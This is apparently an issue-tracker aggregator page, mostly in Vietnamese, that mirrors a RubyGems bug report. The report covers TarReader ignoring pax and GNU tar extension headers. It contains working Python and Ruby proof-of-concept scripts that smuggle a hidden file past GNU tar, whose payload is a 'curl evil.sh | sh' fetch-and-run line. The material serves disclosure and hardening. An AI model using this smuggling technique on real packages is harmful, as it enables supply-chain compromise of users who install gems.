Gem::Package::TarReader silently ignores pax/GNU extension headers

Đang mở
#9,988 1 bình luận 0 reaction 0 người được giao Xem trên GitHub

Maintainer thường phản hồi trong vòng 1 ngày

@akasakariko đang làm issue này rồi.

Từ ngày 30/10/2026.

  • #9994 của @akasakariko — đang mở

Đánh giá

Độ khó
3/5
Thời gian dự kiến
1-2 ngày
Mức phù hợp với người mới
55/100
Loại issue
Lỗi
Độ rõ ràng
Đặc tả rõ ràng
Mức độ hoạt động
Sôi nổi
Công nghệ
ruby
Lĩnh vực
backend, security

Hướng nghiên cứu

Start by reading Gem::Package::TarReader and its tests to find where tar member typeflags are handled. The issue proposes accepting only typeflags 0, NUL, 1, 2, and 5, and rejecting unsupported or future formats. Add coverage for rejected extension headers, including pax and GNU types, and confirm the reported archive now raises an error instead of extracting the extra file.

Do mô hình lập chỉ mục viết ra từ nội dung của issue.

Mô tả

RubyGems
Describe the problem as clearly as you can

The Gem::Package::TarReader does not support POSIX pax extended headers or GNU long-name / long-link extensions. That's fine in general, it's just working with a subset of features.

However, what's wrong is that it does not reject unsupported types, which is a latent security issue. I've opened this issue publicly because I don't think it can be exploited, given that you use TarReader consistently on server and client.

For example, pax path / linkpath / size records and GNU L / K names are silently ignored, and instead the ustar name / size / linkname fields are used. The result of this is that for a given gem, Ruby can extract something entirely different from GNU tar.

The proposed fix is to harden TarReader, such that it errors on formats that it cannot parse. That means only allow typeflags 0 or \0, 1, 2, and 5 and reject x, g, L and K and future formats.

This came up while working on https://stoppels.ch/tar, which lists dozens of tricky tar test cases, and documents how different tools handle them.

You would probably want to have a look at these 25 test cases, s.t. you can compare Ruby's behavior with other tar implementations
  • F10: extended pax size before gnu long
  • F13: pax newline in path
  • F14: pax size disagrees
  • F19: pax global between extended and member
  • F20: pax global size
  • F21: pax size empty
  • F22: pax size negative
  • F23: pax size plus
  • F24: pax size leading space
  • F25: pax size not ascii digits
  • F26: pax size leading zero
  • F27: pax size too large
  • F34: size on hardlink
  • F35: pax size on hardlink
  • F36: pax record length short
  • N01: gnu long name
  • N03: pax long name
  • N08: extended pax path and gnu long name
  • N09: extended two pax headers
  • N19: pax nul in path
  • N20: pax repeated key
  • N21: pax global path
  • N23: extended gnu long then pax
  • N24: pax hdrcharset binary
Did you try upgrading RubyGems?

Yes

Post steps to reproduce the problem

This is a variation on https://stoppels.ch/tar/F20.html.

In this example Ruby extracts a file evil.rb that would not be extracted by GNU tar.

The trick is to use a pax size that Ruby ignores. The tar member evil.rb is put after an empty readme, and the pax size on readme is large enough to cover evil.rb's blocks. GNU tar then reads those blocks as readme's content, but Ruby reads readme as empty and extracts evil.rb as a separate file.

# build.py
import io, tarfile

def member(name, data, typeflag=tarfile.REGTYPE):
    """Raw bytes of one tar member (header + padded data), no end-of-archive blocks."""
    buf = io.BytesIO()
    with tarfile.open(fileobj=buf, mode="w", format=tarfile.USTAR_FORMAT) as t:
        info = tarfile.TarInfo(name); info.size = len(data); info.type = typeflag
        t.addfile(info, io.BytesIO(data))
    return buf.getvalue()[: (1 + (len(data) + 511) // 512) * 512]

def pax_record(key, val):
    """A pax record 'LEN key=val\\n' whose LEN counts its own digits."""
    rec = lambda n: f"{n} {key}={val}\n".encode()
    n = len(rec(0))
    while len(rec(n)) != n: n = len(rec(n))
    return rec(n)

evil   = member("evil.rb", b'system("curl evil.sh | sh")\n')          # the member to smuggle
xhdr   = member("hdr", pax_record("size", len(evil)), tarfile.XHDTYPE) # "next member is len(evil) bytes"
readme = member("readme", b"")                                        # ustar size = 0

open("poc.tar", "wb").write(xhdr + readme + evil + b"\0" * 1024)
# poc.rb - unpack data.tar.gz like `gem install`
require "rubygems/package"; require "stringio"; require "zlib"; require "fileutils"

gz = StringIO.new
Zlib::GzipWriter.wrap(gz) { |w| w.write File.binread("poc.tar") }

pkg = Gem::Package.new("unused.gem")
pkg.spec = Gem::Specification.new { |s| s.name = "poc"; s.version = "0" }

Dir.mkdir("out")
pkg.extract_tar_gz(StringIO.new(gz.string), File.expand_path("out"))
puts "RubyGems extracted: #{Dir.children('out').sort.inspect}"
Which command did you run?
python3 build.py
tar -tf poc.tar   # reference for actual contents
ruby poc.rb
What were you expecting to happen?

RubyGems errors that it does not support the tar file.

What actually happened?
$ tar -tf poc.tar
readme
$ ruby poc.rb
RubyGems extracted: ["evil.rb", "readme"]
$ cat out/evil.rb
system("curl evil.sh | sh")
Ngôn ngữ chính
Ruby
Star
4k
Fork
2k
Merge trung bình
1 ngày 17 giờ
Pull request đã merge (30 ngày)
50

Chuẩn bị môi trường

Mở trong Codespaces

Khởi chạy dev container của dự án ngay trên trình duyệt, bằng tài khoản GitHub của bạn.

Bắt đầu từ đâu

  1. Đọc hết issue, rồi đọc hướng dẫn đóng góp của dự án.
  2. Bình luận trên issue rằng bạn sẽ nhận — tránh hai người làm cùng một việc.
  3. Fork repository và làm thay đổi trên một nhánh.
  4. Mở pull request có tham chiếu số hiệu của issue.

Issue khác của ruby/rubygems

Tất cả issue của ruby/rubygems

Issue tương tự

Thêm issue về Ruby

Nhận issue mới trong hộp thư của bạn

Bản tóm tắt ngắn những issue GitHub phù hợp với người mới.